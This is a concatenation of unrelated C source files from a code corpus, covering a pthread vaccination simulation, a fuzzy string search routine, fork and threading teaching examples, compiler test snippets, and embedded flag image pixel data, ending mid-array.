while(student_thread[num1]->status==1)
{
;
}
printf(ANSI_YELLOW"Student %d on Vaccination Zone %d has been vaccinated which has success probability %f\n",num1,student_thread[num1]->azone,zone_thread[student_thread[num1]->azone]->probab);
//check antibody result
int a=rand()%1000;
float b= a/1000.0;
if(zone_thread[student_thread[num1]->azone]->probab < b)
{
pthread_mutex_lock(&mutex3);
if(student_thread[num1]->turn!=3)
{
students_waiting++;
negstudents++;
}
student_thread[num1]->azone=-1; //looking for zone
printf(ANSI_RED"Student %d tested negative for antibodies\n",num1);
pthread_mutex_unlock(&mutex3);
}
else
{
printf(ANSI_RED"Student %d tested positive for antibodies\n",num1);
break;
}
}
if(student_thread[num1]->turn==3 && student_thread[num1]->azone==-1)
{
printf(ANSI_CYAN"Student %d is sent home\n",num1);
}
if(students_waiting==0)
{
sleep(15);
}
while(students_waiting==0)
{
if(no_of_students_arrived==o_students)
{
pthread_mutex_lock(&mutex);
printf(ANSI_MAGENTA"no.of students waiting are %d and no.of vaccines used in total are %d\n",students_waiting,students_vaccinated);
printf(ANSI_GREEN "Simulation over :) \n");
pthread_mutex_unlock(&mutex);
exit(0);
}
}
pthread_cancel(students[num1]);
return 0;
}
void *zonal_distribution(void *num){ //slots that can be taken by students are -1 ,slots that are not allocated are -2
int num1=*(int *)num;
zone_thread[num1]->vaccneed=1;
while(1)
{
sleep(5);
zone_thread[num1]->availslots[8]=-2;
while(zone_thread[num1]->k==0)
{
; //zone needs vaccines,wait till a company gives u vaccine
}
zone_thread[num1]->curr_slots=min(8,students_waiting,zone_thread[num1]->k);
for(int i=1;i<=zone_thread[num1]->curr_slots;i++)
zone_thread[num1]->availslots[i]=-1;
if(zone_thread[num1]->curr_slots>0)
printf(ANSI_CYAN"Vaccination Zone %d is ready to vaccinate with %d slots \n",num1,zone_thread[num1]->curr_slots);
while(zone_thread[num1]->curr_slots!=0 && students_waiting!=0)
{
;
}
//vaccinate the students
if(zone_thread[num1]->curr_slots==0){
if(students_waiting!=0)
printf(ANSI_GREEN"Vaccination Zone %d entering Vaccination Phase\n",num1);
for(int i=1;i<=8;i++)
{
if(zone_thread[num1]->availslots[i]==-2)
break; //these are slots which arent provided
else
{
int studentindex=zone_thread[num1]->availslots[i];
zone_thread[num1]->k--;
student_thread[studentindex]->status=0; //vaccination completed
pthread_mutex_lock(&mutex2);
students_vaccinated++;
pthread_mutex_unlock(&mutex2);
}
}}
if(zone_thread[num1]->k==0)
{
printf(ANSI_CYAN"Vaccination Zone %d has run out of vaccines\n",num1);
zone_thread[num1]->vaccneed=1;
}
for(int i=1;i<=8;i++)
{
zone_thread[num1]->availslots[i]=-2; //again block all the slots and mext iteration it releases only designated slots
}
}
}
void *comp_production(void *args){
int inp=*((int *)args);
comp_thread[inp]->w=rand()%4 + 2;
comp_thread[inp]->r=rand()%5 +1;
comp_thread[inp]->p=rand()%10+10;
printf(ANSI_DEFAULT"pharma company %d is preparing %d no.of batches of vaccines which have success probability %f\n",inp,comp_thread[inp]->r,comp_thread[inp]->x);
sleep(comp_thread[inp]->w);
printf(ANSI_CYAN"pharma company %d has prepared %d no.of batches of vaccines which have success probability %f ,Waiting for all the vaccines to be used to resume production\n",inp,comp_thread[inp]->r,comp_thread[inp]->x);
while(1)
{
while(comp_thread[inp]->r>0){
for(int i=0;i<m_zones;i++)
{
if(zone_thread[i]->vaccneed==1){
pthread_mutex_lock(&mutex);
if(zone_thread[i]->k==0){
zone_thread[i]->k=comp_thread[inp]->p;
zone_thread[i]->vaccneed=0;
printf(ANSI_RED"pharma company %d is delivering vaccine batch to vaccination zone %d which has success probability %f\n",inp,i,comp_thread[inp]->x );
zone_thread[i]->probab=comp_thread[inp]->x;
comp_thread[inp]->r--;}
pthread_mutex_unlock(&mutex);
break;
}
}
}
printf(ANSI_GREEN"All the vaccines prepared by Pharmaceutical Company %d are emptied. Resuming production now.\n",inp);
comp_production(args);
}
return NULL;
}
int main(){
printf("-------------------------------Welcome to vaccination---------------------------------\n");
srand(time(0));
printf("\n enter no of companies : ");
scanf("%d",&n_companies);
if(n_companies==0)
{ printf("Sorry! No companies to produce vaccine :'( \n"); return 0;}
printf("\n enter no. of vaccination zones : ");
scanf("%d",&m_zones);
if(m_zones==0)
{ printf("Ask IIIT-H to make zones :'( \n"); return 0;}
printf("\n enter no. of students : ");
scanf("%d",&o_students);
if(o_students==0)
{ printf("NO STUDENTS :) \n");return 0;}
for(int i=0; i<n_companies;i++){
comp_thread[i]=(struct company*)malloc(sizeof(struct company));
printf("\n enter probability of success of company %d: ",i+1);
scanf("%f",&comp_thread[i]->x);
}
for(int i=0; i<m_zones;i++){
zone_thread[i]=(struct vacc_zones*)malloc(sizeof(struct vacc_zones));
zone_thread[i]->k=0; //initially
for(int j=1;j<=8;j++)
zone_thread[i]->availslots[j]=-2;
}
for(int i = 0 ; i < o_students;i++){
student_thread[i]=(struct student*)malloc(sizeof(struct student));
student_thread[i]->turn=0;
student_thread[i]->status=0;
student_thread[i]->azone=-1;
}
printf("hai ,creating threads\n");
for(int i=0; i<n_companies;i++)
{
int *arg = malloc(sizeof(*arg));
*arg = i;
int e=pthread_create(&companies[i],NULL,comp_production,arg);
sleep(1);
if(e!=0)
{
perror("pthread_create");
}
}
for(int i=0; i<m_zones;i++)
{
int *arg = malloc(sizeof(*arg));
*arg = i;
int e=pthread_create(&vaccinezones[i],NULL,zonal_distribution,arg);
// printf("thread done\n");
sleep(1);
if(e!=0)
{
perror("pthread_create");
}
}
for(int i=0; i<o_students;i++){
int *arg = malloc(sizeof(*arg));
*arg = i;
int e=pthread_create(&students[i],NULL,student_coming,arg);
//printf("thread done\n");
sleep(1);
if(e!=0)
{
perror("pthread_create");
}
}
for(int i=0; i<o_students;i++)
{
pthread_join(students[i],NULL);
}
for(int i=0; i<m_zones;i++)
{
pthread_join(vaccinezones[i],NULL);
}
sleep(m_zones);
return 0;
}
|
the_stack_data/93888483.c |
/***************************************************************
*
* Fuzzy string searching subroutines
*
* Author: John Rex
* Date: August, 1988
* References: (1) Computer Algorithms, by Sara Baase
* Addison-Wesley, 1988, pp 242-4.
* (2) Hall PAV, Dowling GR: "Approximate string matching",
* ACM Computing Surveys, 12:381-402, 1980.
*
* Verified on:
* Datalite, DeSmet, Ecosoft, Lattice, MetaWare, MSC, Turbo, Watcom
*
* Compile time preprocessor switches:
* TEST - if defined, include test driver
*
* Usage:
*
* char *pattern, *text; - search for pattern in text
* int degree; - degree of allowed mismatch
* char *start, *end;
* int howclose;
*
* void App_init(pattern, text, degree); - setup routine
* void App_next(&start, &end, &howclose); - find next match
*
* - searching is done when App_next() returns start==NULL
*
**************************************************************/
typedef unsigned int size_t;
/*prototypes*/
void * malloc( size_t _Size);
void free( void * _Memory);
size_t strlen( const char * _Str);
static char *Text, *Pattern;
static int Textloc;
static int Plen;
static int Degree;
static int *Ldiff, *Rdiff;
static int *Loff, *Roff;
void App_init(char *pattern, char *text, int degree)
{
int i;
Text = text;
Pattern = pattern;
Degree = degree;
Plen = strlen(pattern);
Ldiff = (int *) malloc(sizeof(int) * (Plen + 1) * 4);
Rdiff = Ldiff + Plen + 1;
Loff = Rdiff + Plen + 1;
Roff = Loff + Plen + 1;
for (i = 0; i <= Plen; i++)
{
Rdiff[i] = i;
Roff[i] = 1;
}
Textloc = -1;
}
void App_next(char **start, char **end, int *howclose)
{
int *temp, a, b, c, i;
*start = ((void *)0);
while (*start == ((void *)0))
{
if (Text[++Textloc] == '\0')
break;
temp = Rdiff;
Rdiff = Ldiff;
Ldiff = temp;
Rdiff[0] = 0;
temp = Roff;
Roff = Loff;
Loff = temp;
Roff[1] = 0;
for (i = 0; i < Plen; i++)
{
if (Pattern[i] == Text[Textloc])
a = Ldiff[i];
else a = Ldiff[i] + 1;
b = Ldiff[i+1] + 1;
c = Rdiff[i] + 1;
if (b < a)
a = b;
if (c < a)
a = c;
Rdiff[i+1] = a;
}
if (Plen > 1) for (i=2; i<=Plen; i++)
{
if (Ldiff[i-1] < Rdiff[i])
Roff[i] = Loff[i-1] - 1;
else if (Rdiff[i-1] < Rdiff[i])
Roff[i] = Roff[i-1];
else if (Ldiff[i] < Rdiff[i])
Roff[i] = Loff[i] - 1;
else
Roff[i] = Loff[i-1] - 1;
}
if (Rdiff[Plen] <= Degree)
{
*end = Text + Textloc;
*start = *end + Roff[Plen];
*howclose = Rdiff[Plen];
}
}
if (start == ((void *)0))
free(Ldiff);
}
|
the_stack_data/761644.c | /* Example code for Exercises in C.
Copyright 2016 Allen B. Downey
License: MIT License https://opensource.org/licenses/MIT
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <sys/time.h>
#include <sys/types.h>
#include <wait.h>
/*
Process don't share the same global, heap, or stack segments. A copy of the global,heap and stack segments are made in each child process but the segments
are not shared.
*/
// errno is an external global variable that contains
// error information
extern int errno;
// get_seconds returns the number of seconds since the
// beginning of the day, with microsecond precision
double get_seconds() {
struct timeval tv[1];
gettimeofday(tv, NULL);
return tv->tv_sec + tv->tv_usec / 1e6;
}
int globalVar = 0;
void child_code(int i)
{
sleep(i);
printf("Hello from child %d.\n", i);
}
// main takes two parameters: argc is the number of command-line
// arguments; argv is an array of strings containing the command
// line arguments
int main(int argc, char *argv[])
{
int status;
pid_t pid;
double start, stop;
int i, num_children;
// the first command-line argument is the name of the executable.
// if there is a second, it is the number of children to create.
if (argc == 2) {
num_children = atoi(argv[1]);
} else {
num_children = 1;
}
// get the start time
start = get_seconds();
int stackVarible = 1;
for (i=0; i<num_children; i++) {
// create a child process
printf("Creating child %d.\n", i);
pid = fork();
/* check for an error */
if (pid == -1) {
fprintf(stderr, "fork failed: %s\n", strerror(errno));
perror(argv[0]);
exit(1);
}
pid = wait(&status);
/* see if we're the parent or the child */
if (pid == 0) {
child_code(i);
stackVarible++;
globalVar++;
printf("%d\n",globalVar);
exit(i);
}
}
/* parent continues */
printf("Hello from the parent.\n");
for (i=0; i<num_children; i++) {
pid = wait(&status);
if (pid == -1) {
fprintf(stderr, "wait failed: %s\n", strerror(errno));
perror(argv[0]);
exit(1);
}
// check the exit status of the child
status = WEXITSTATUS(status);
printf("Child %d exited with error code %d.\n", pid, status);
}
// compute the elapsed time
stop = get_seconds();
printf("Elapsed time = %f seconds.\n", stop - start);
exit(0);
}
|
the_stack_data/175144106.c | /**
* There's Always a Slight Duplication of Efforts 1.
*
* By walking through this example you’ll learn:
* - How to use pthread_join().
* - What happens when multiple threads try to reference the same memory block.
*
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <unistd.h>
#include <pthread.h>
#include <sched.h>
int stick_this_thread_to_core(int core_id);
#define NUM_THREADS 100
#define NUM_TASKS 100000
static int cnt = 0;
void* worker(void* arg){
stick_this_thread_to_core(arg);
int progress;
for(int i = 0; i < NUM_TASKS; i++){
progress = cnt++;
}
pthread_exit(progress);
}
int main(int argc, char* argv[]){
pthread_t tids[NUM_THREADS];
int status;
int progress = 0;
for(int i = 0; i < NUM_THREADS; i++){
// HINT: The thread that runs `worker` should be created.
// HINT: The address of variable `i` should be passed when thread created.
// HINT: Each thread descriptor should be stored appropriately.
status = pthread_create(&tids[i], NULL, worker, (void*)&i);
if(status != 0){
printf("WTF?");
return -1;
}
}
// HINT: The main thread should not be exited until all `worker`s have finished.
for(int i = 0; i < NUM_THREADS; i++){
pthread_join(tids[i], &progress);
// HINT: The variable `progress` should not be 0.
printf("\r%d ", progress);
fflush(stdout);
usleep(10*1000); // 10ms
}
printf("\nexpectd: %d\n", NUM_THREADS * NUM_TASKS);
printf("result: %d\n", cnt);
return 0;
}
int stick_this_thread_to_core(int core_id) {
int num_cores = sysconf(_SC_NPROCESSORS_ONLN);
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(core_id % num_cores, &cpuset);
pthread_t current_thread = pthread_self();
return pthread_setaffinity_np(current_thread, sizeof(cpu_set_t), &cpuset);
}
|
the_stack_data/167329352.c | int
ffs (x)
int x;
{
int bit, mask;
if (x == 0)
return 0;
for (bit = 1, mask = 1; !(x & mask); bit++, mask <<= 1)
;
return bit;
}
f (x)
int x;
{
int y;
y = ffs (x) - 1;
if (y < 0)
abort ();
}
main ()
{
f (1);
exit (0);
}
|
the_stack_data/190767862.c | /* What will this code output? */
#include<stdio.h>
int main()
{
int x=0;
switch(x){
case 0:
printf("x is 0\n");
case 1:
printf("x is 0 or 1\n");
break;
case 2:
printf("x is 2\n");
break;
default:
printf("x is some other value\n");
break; /* Putting a final break statement is good practice */
}
return 0;
} |
the_stack_data/15761727.c | /* ************************************************************************** */
/* */
/* ::: :::::::: */
/* ft_isdigit.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: zskeeter <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2021/04/25 13:54:00 by zskeeter #+# #+# */
/* Updated: 2021/04/25 13:54:00 by zskeeter ### ########.fr */
/* */
/* ************************************************************************** */
int ft_isdigit(int c)
{
return (c >= 48 && c <= 57);
}
|
the_stack_data/22012305.c | #include <stdio.h>
#include <stdlib.h>
/* run this program using the console pauser or add your own getch, system("pause") or input loop */
int isprime(int a)
{
int i;
for(i=2;i<a;i++)
if(a%i==0)return 0;
return 1;
}
int main(int argc, char *argv[]) {
int n,i=2,a=0;
scanf("%d",&n);
for(n=n+1;n<=200000;n++)
{
if(isprime(n))
{
printf("%d",n);
break;
}
}
return 0;
} |
the_stack_data/11076248.c | // RUN: %clang_cc1 -no-opaque-pointers -triple nvptx-unknown-unknown -S -o - %s -emit-llvm | FileCheck %s
// RUN: %clang_cc1 -no-opaque-pointers -triple nvptx64-unknown-unknown -S -o - %s -emit-llvm | FileCheck %s
typedef struct float4_s {
float x, y, z, w;
} float4_t;
float4_t my_function(void) {
// CHECK-LABEL: define{{.*}} %struct.float4_s @my_function
float4_t t;
return t;
};
float bar(void) {
float4_t ret;
// CHECK-LABEL: @bar
// CHECK: call %struct.float4_s @my_function
ret = my_function();
return ret.x;
}
void foo(float4_t x) {
// CHECK-LABEL: @foo
// CHECK: %struct.float4_s* noundef byval(%struct.float4_s) align 4 %x
}
void fooN(float4_t x, float4_t y, float4_t z) {
// CHECK-LABEL: @fooN
// CHECK: %struct.float4_s* noundef byval(%struct.float4_s) align 4 %x
// CHECK: %struct.float4_s* noundef byval(%struct.float4_s) align 4 %y
// CHECK: %struct.float4_s* noundef byval(%struct.float4_s) align 4 %z
}
typedef struct nested_s {
unsigned long long x;
float z[64];
float4_t t;
} nested_t;
void baz(nested_t x) {
// CHECK-LABEL: @baz
// CHECK: %struct.nested_s* noundef byval(%struct.nested_s) align 8 %x)
}
|
the_stack_data/49045.c |
int main()
{
int *p = malloc(10);
if(nondet())
++p;
}
|
the_stack_data/98574880.c | #include <stdio.h>
#include <stdlib.h>
#define SIZE 100
int main()
{
int i, sum = 0;
int *a = malloc(SIZE);
for(i=0; i<SIZE; ++i) sum += a[i];
a[26] = 1;
a = NULL;
if(sum > 0) printf("Hi!\n");
return 0;
}
/*
* Source: http://haifux.org/lectures/239/
*/
|
the_stack_data/231251.c | /* A gettimeofday routine to give access to the wall
clock timer on most UNIX-like systems. */
#include <sys/time.h>
#include <stdlib.h>
double time_of_day()
{
struct timeval tp;
int i;
i = gettimeofday(&tp, NULL);
return ( (double) tp.tv_sec + (double) tp.tv_usec * 1.e-6 );
}
|
the_stack_data/57281.c | static struct {
unsigned int width;
unsigned int height;
unsigned int bytes_per_pixel; /* 2:RGB16, 3:RGB, 4:RGBA */
unsigned char pixel_data[22 * 15 * 4 + 1];
} brazil_flag = {
22, 15, 4,
"\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233"
":\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377"
"\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233"
":\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\006\234\071\377"
"\005\234\071\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233"
":\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377"
"G\256*\377\334\326\010\377\333\325\010\377G\256*\377\000\233:\377\000\233:\377"
"\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233"
":\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000"
"\233:\377\034\242\064\377\262\313\021\377\371\334\002\377\317\275\026\377\317\275"
"\026\377\371\334\002\377\262\313\021\377\034\242\064\377\000\233:\377\000\233:\377"
"\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233"
":\377\000\233:\377\000\233:\377\000\233:\377\003\234\071\377o\271!\377\357\333\003\377"
"\260\247$\377\031\071j\377\000'v\377\000'v\377\032:j\377\262\251#\377\356\333\004"
"\377o\271!\377\003\234\071\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\064\250.\377\314\321"
"\013\377\376\337\000\377\301\263\034\377\020\067}\377\007/y\377\000'v\377\000'v\377\000"
"'v\377\004)t\377\307\267\031\377\376\337\000\377\314\321\013\377\064\250.\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\015\236\067"
"\377\220\302\031\377\372\336\001\377\376\337\000\377\376\337\000\377\227\247\232"
"\377k\221\247\377s\225\256\377\200\236\266\377}\236\262\377Z}\244\377\002)"
"w\377RbP\377\376\337\000\377\376\337\000\377\372\336\001\377\220\302\031\377\015"
"\236\067\377\000\233:\377\000\233:\377\000\233:\377\003\234\071\377\266\314\020\377"
"\376\337\000\377\376\337\000\377\376\337\000\377\376\337\000\377,Fb\377\000'v\377\022"
"\067\201\377\000'v\377\001(w\377Be\224\377\212\251\271\377Miy\377\376\337\000\377"
"\376\337\000\377\376\337\000\377\376\337\000\377\265\313\021\377\003\234\071\377\000"
"\233:\377\000\233:\377\000\233:\377\005\234\071\377o\271!\377\362\334\003\377\376"
"\337\000\377\376\337\000\377[l]\377!D\206\377\007.{\377\020\067\200\377\026=\201\377"
"\000'v\377\031<\205\377\216\234\216\377\376\337\000\377\376\337\000\377\362\334"
"\003\377o\271!\377\005\234\071\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377"
"\000\233:\377\000\233:\377\"\244\062\377\265\313\021\377\376\337\000\377\317\275"
"\026\377\022\067{\377\024:\202\377\012\060}\377\030>\203\377\040E\204\377\065Q\210"
"\377\324\300\023\377\376\337\000\377\265\313\021\377!\244\062\377\000\233:\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377"
"\000\233:\377\000\233:\377M\257(\377\341\330\007\377\260\247$\377\031\071j\377\000"
"'v\377\000'v\377$Dr\377\262\251#\377\341\330\007\377M\257(\377\000\233:\377\000\233"
":\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\017\237\067\377\220\302"
"\031\377\366\333\003\377\317\275\026\377\317\275\026\377\366\333\003\377\220\302"
"\031\377\017\237\067\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:"
"\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\061\250/\377\311\321"
"\014\377\310\321\014\377\061\250/\377\000\233:\377\000\233:\377\000\233:\377\000\233"
":\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377"
"\000\233:\377\000\233:\377\006\234\071\377\005\234\071\377\000\233:\377\000\233:\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377"
"\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233"
":\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000"
"\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377\000\233:\377"
"\000\233:\377\000\233:\377\000\233:\377",
};
static struct {
unsigned int width;
unsigned int height;
unsigned int bytes_per_pixel; /* 2:RGB16, 3:RGB, 4:RGBA */
unsigned char pixel_data[16 * 16 * 4 + 1];
} cz16 = {
16, 16, 4,
"\000\200\000`\000\200\000\327\000\200\000\361\000\200\000\361\000\200\000\361\000\200\000\361\000\200"
"\000\361\000\200\000\361\000\200\000\361\000\200\000\361\000\200\000\361\000\200\000\361\000\200"
"\000\361\000\200\000\361\000\200\000\327\000\201\000]\000\200\000\325\000\200\000\377\000\200\000\377"
"\064\232\064\377\201\300\201\377\231\314\231\377\205\302\205\377;\235;\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\324\000\200\000\350\001\200\001\377\226\313\226\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"^\257^\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\350\000\200\000\350_\257_\377\377\377\377\377\377\377\377"
"\377\263\331\263\377]\256]\377|\276|\377\360\370\360\377j\265j\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\350\000\200\000\350\310\344\310\377\377\377\377\377\275\336\275\377\000\200"
"\000\377\000\200\000\377\000\200\000\377!\220!\377>\237>\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\350\007\202\007\351"
"\373\375\373\377\377\377\377\377a\260a\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377A\240A\377U\252U\377U\252U\377U\252U\377U\252"
"U\377O\247O\377\000\200\000\350\026\212\026\352\377\377\377\377\377\377\377\377"
"E\242E\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\303"
"\341\303\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\356\367\356\377\000\200\000\350\011\203\011\351\376\377\376\377\377\377\377"
"\377^\257^\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"N\247N\377f\263f\377f\263f\377\265\332\265\377\377\377\377\377\323\351\323"
"\377\000\200\000\350\000\200\000\350\324\352\324\377\377\377\377\377\261\330\261"
"\377\000\200\000\377\000\200\000\377\000\200\000\377\025\212\025\377:\235:\377\000\200\000"
"\377\000\200\000\377\035\216\035\377\361\370\361\377\374\376\374\377\067\233\067"
"\377\000\200\000\350\000\200\000\350m\266m\377\377\377\377\377\377\377\377\377\230"
"\314\230\377I\244I\377i\264i\377\343\361\343\377j\265j\377\000\200\000\377\000"
"\200\000\377\266\333\266\377\377\377\377\377\214\306\214\377\000\200\000\377\000"
"\200\000\350\000\200\000\350\003\201\003\377\256\327\256\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377c\261c\377\000\200"
"\000\377\\\256\\\377\377\377\377\377\332\355\332\377\011\204\011\377\000\200\000"
"\377\000\200\000\350\000\200\000\350\000\200\000\377\002\201\002\377P\250P\377\222\311\222"
"\377\252\325\252\377\223\311\223\377A\240A\377\001\200\001\377\027\213\027\377"
"\354\366\354\377\375\376\375\377:\235:\377\000\200\000\377\000\200\000\377\000\200"
"\000\350\000\200\000\350\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\243\321\243\377\377\377\377\377"
"\260\330\260\377\"\221\"\377\"\221\"\377\"\221\"\377\004\202\004\350\000\200\000"
"\350\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000"
"\377\000\200\000\377\000\200\000\377\360\370\360\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377$\221$\353\000\200\000\325"
"\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377"
"\000\200\000\377\000\200\000\377\220\310\220\377\231\314\231\377\231\314\231\377"
"\231\314\231\377\231\314\231\377\231\314\231\377\030\214\030\327\000\201\000[\000"
"\200\000\321\000\200\000\346\000\200\000\346\000\200\000\346\000\200\000\346\000\200\000\346\000"
"\200\000\346\000\200\000\346\000\200\000\346\000\200\000\346\000\200\000\346\000\200\000\346\000"
"\200\000\346\000\200\000\321\000\201\000[",
};
static struct {
unsigned int width;
unsigned int height;
unsigned int bytes_per_pixel; /* 2:RGB16, 3:RGB, 4:RGBA */
unsigned char pixel_data[48 * 48 * 4 + 1];
} cz48 = {
48, 48, 4,
"\000\000\000\000\000\000\000\000\000\200\000\014\000\177\000\201\000\201\000\334\000\200\000\337\000\201\000\350"
"\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350"
"\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350"
"\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350"
"\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350"
"\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350"
"\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\201\000\350\000\200\000\337"
"\000\201\000\334\000\200\000~\000\213\000\013\000\000\000\000\000\000\000\000\000\000\000\000\000\200\000\"\000\201"
"\000\334\000\200\000\370\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\367\000\201\000\334\000\203\000!\000\000\000\000\000\213\000\013\000\200\000\334\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
"\200\000\377\000\200\000\333\000\200\000\012\000\200\000\204\000\200\000\370\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\201\000\367\000\200\000\201\000\200\000\331\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\023\211\023\377]\256]\377\230\314\230\377\261\330\261\377"
"\307\343\307\377\314\346\314\377\273\335\273\377\252\325\252\377\205\302"
"\205\377N\247N\377\024\212\024\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\201\000\330\000\200\000\343\000\200"
"\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200\000\377\000\200"
"\000\377\000\200\000\377\063\231\063\377\267\333\267\377\374\376\374\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377"
"\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\377\372\375"
"\372\377\252\325\252\377?\237?\377\000\200\000\377\000\200\000\377\000\200\000\377\000"
